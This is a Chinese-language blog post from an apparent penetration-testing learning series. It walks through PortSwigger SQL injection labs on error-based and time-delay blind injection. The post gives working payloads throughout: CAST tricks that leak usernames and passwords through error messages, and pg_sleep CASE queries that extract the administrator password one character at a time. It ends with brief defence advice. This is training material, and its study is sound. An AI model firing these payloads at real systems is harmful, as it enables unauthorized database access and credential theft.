iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0

廢話時間

好的,不出意外的話今天應該是講 SQLi 的最後一天,跟我們團隊中的密碼學、AI、競程大佬比起來,我講的東西基本上都是一些很皮毛的東西,因爲感覺 SQLi 好像沒有什麽太細節的東西可以講,畢竟除了基本的語法以爲基本上都沒有什麽很萬用的東西,都是看到使用的當下去做判斷,那我能做的就是從題目的 Lab 帶入門,太細節的東西會牽涉到整個 SQL 資料庫的結構,那就會偏離我們單純想要做 PT 的本意(雖然到最後還是需要會,畢竟想做 PT 的話東西真的要學很多)

報錯回應 pro max

昨天我們講到了報錯回應,那今天今天講一樣東西不是因爲我想水,是因爲這個東西還有另外一種思路,昨天我們講的是想辦法自己戳出報錯來確認語法,而今天的這個則是需要利用系統抖出來的敏感資訊,也就是利用可見資訊來做攻擊,(而關於昨天的則是利用不可見報錯提示來説攻擊,昨天講的沒有很好的部分在今天這裡做補充),詳細就參考我們的 Lab

例題09

例題網址:https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based

可以看到我們對網頁的 cookie 做了一些手脚以後它就噴了一堆東西出來,我們就可以利用它送我們的報錯資訊那來好好推一下有什麽是可以利用的

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'kLCxOVpig5jtz0JA''. Expected char

從這裡我們可以看出他的查詢語法,那我們嘗試看看把他的 Expected char 注解掉

TrackingId = kLCxOVpig5jtz0JA'--


那這裡布林值就是 true 了,我們就開始繼續想下一步,在那之前我先來介紹一下 CAST 這個語法,它可以把要讀取的資料形式轉成另外一個形式,像是我們平常在 coding 的時候把 float 轉成 int 的概念,放在 SQLi 中可以拿來規避一些字元上的限制,像這裡它剛剛查詢的是 char 的資料,但是我們不想要啊,假設這裡我們想要的資料類型是 int,那我們就可以這樣下指令

TrackingId = kLCxOVpig5jtz0JA' AND CAST((SELECT 1) AS int)--

我們可以嘗試丟進去看看他會怎麽反抗我們

ERROR: argument of AND must be type boolean, not type integer Position: 63

不出意外的它又被我們玩壞了,但是我們得到了更多資訊可以好好照顧摧殘它,可以看到他的查詢語法必須要用布林值來表達,我們就可以在剛剛的基礎上加點料

TrackingId = kLCxOVpig5jtz0JA' AND 1=CAST((SELECT 1) AS int)--


報錯消失了,代表我們的語法沒有問題,接著就是找 users 的欄位,把 SELECT 那改成這樣

TrackingId = kLCxOVpig5jtz0JA' AND 1=CAST((SELECT username FROM users) AS int)--


欸?明明好像語法是對的,但是為什麽還是會跳報錯,可以看到報錯的資訊跟一開始很想,代表是遇到同樣的問題,就是被字元的限制截斷了我們的語法,貌似是由於我們指令太長導致的,可是我們的指令都很必要啊,難道要刪掉 cookie 的 token?沒錯,爲了擠出空間我們必須這樣做試試看

えいい??難道又是錯的,NO NO NO,雖然同樣都是報錯,但是你可以詳細的閲讀他的報錯資訊,網頁返回了多行的查詢結果,沒有撈到東西絕對不會有多行的回傳,這代表我們真的查詢到了 users 欄位,接著就是繼續施展魔法,讓他只會回傳一行的資料

 ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--


好欸翻到了我們最愛的東西,既然知道了 users 的第一行就是 administrator 那密碼肯定是信手拈來啦,

' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--


接著按照題目要求登入進去就算完成了,這題算是比較簡單,就不放成功的圖片了

時間差

時間差聽起來是個超級酷的東西,但他沒有像它的名字聽起來那麽難,它的用途是利用查詢回應的時間來判斷有沒有注入成功,因爲不是每個網頁的設計都會很好心的開報錯給你看,就算你故意去戳也打死不出來,那要判斷我們到底有沒有注入進去就是看我們在 SQLi 語法中刻意去插入延遲,用這樣的方式來影響 HTTP 的回應速度,那基本上這個方法只對特定的資料庫有用,對就是説你 SQL Server Microsoft,既然知道了基本的原理那就是例題走起

例題10

例題網址:https://portswigger.net/web-security/sql-injection/blind/lab-time-delays

那這一題基本上就只是讓你玩玩看,測試一下他的語法,沒有要結合什麽東西,那我們就下相應的語法

TrackingId = ij6RmKZs01349Bcr'||pg_sleep(10)--

然後送出後就直接完成 Lab 了,超級水題

例題11

例題網址:https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval

好啦這題才貼近我們在盲注的時候真正會遇到的東西,一樣進去以後直接 F12 到 cookie 那裡報到,然後測試一下我們剛剛的新玩具在這有沒有用

理論上會花 10 s 讀取
TrackingId = EF22HIJCuZtt7qlW'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
這裡是對照組
TrackingId = EF22HIJCuZtt7qlW'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

會有很明顯的時間產,當然如果沒有的話可能是你的網路太差或者是電腦對網頁渲染的速度太慢了,我看你對速度一無所知

接著開始測試有沒有 administrator 這個使用者賬號(這個都沒有辦法用截圖説明真的好省事)

TrackingId = EF22HIJCuZtt7qlW'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

確認有後又是熟悉的推密碼位數時間,可以把昨天教的工具抓出來用但是一般都是20 位數啦

TrackingId = EF22HIJCuZtt7qlW'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

好的我們知道了密碼是 20 位數,接著也是昨天的工具想辦法把密碼一個個敲出來

TrackingId = EF22HIJCuZtt7qlW'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

最後也是登入賬號就算完成了,那這裡也附上完成人權圖

OAST

這個就沒有 Lab 可以帶,因爲要付費,破解版的也不好放到教學裡我怕被吉,基本上我就將一些觀念説明一下

那這個漏洞主要是利用將有效負載直接丟給攻擊網站的 DNS 伺服器來偷資料,那基本上只有針對特定的資料庫類型才有用,對又是你 Microsoft SQL Server,每次都是你,你最爛!詳細的攻擊語法也是塞在 cheat-sheet 裡面,這裡一樣放上網址

cheat-sheet:https://portswigger.net/web-security/sql-injection/cheat-sheet

就請各位自己想辦法試試看了,或者讓我掏錢以後再補QQ

如何防範 SQLi

對我們黑客社是資安社團,讓我在這裡安麗一下我們的社團不過分吧,那基本上我們能做的就是在開發的時候限制使用者的輸入,或者在處理查詢語法的時候加點東西來防止有奇怪的查詢語法到處亂戳,亦或者是使用參數化的查詢方法,當然那是偏向開發向的東西這裡就不細講了,重點是每個人要有防範的意識,不要傻傻的被偷了資料還不知道


上一篇
[ Day 06 ] 從 0 開始的 PT 學習生活 - SQL injection 03
下一篇
[ Day 08 ] 從 0 開始的 PT 學習生活 - Liiiiiiiinux 基礎01
系列文
從 0 開始的 PT 學習生活30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言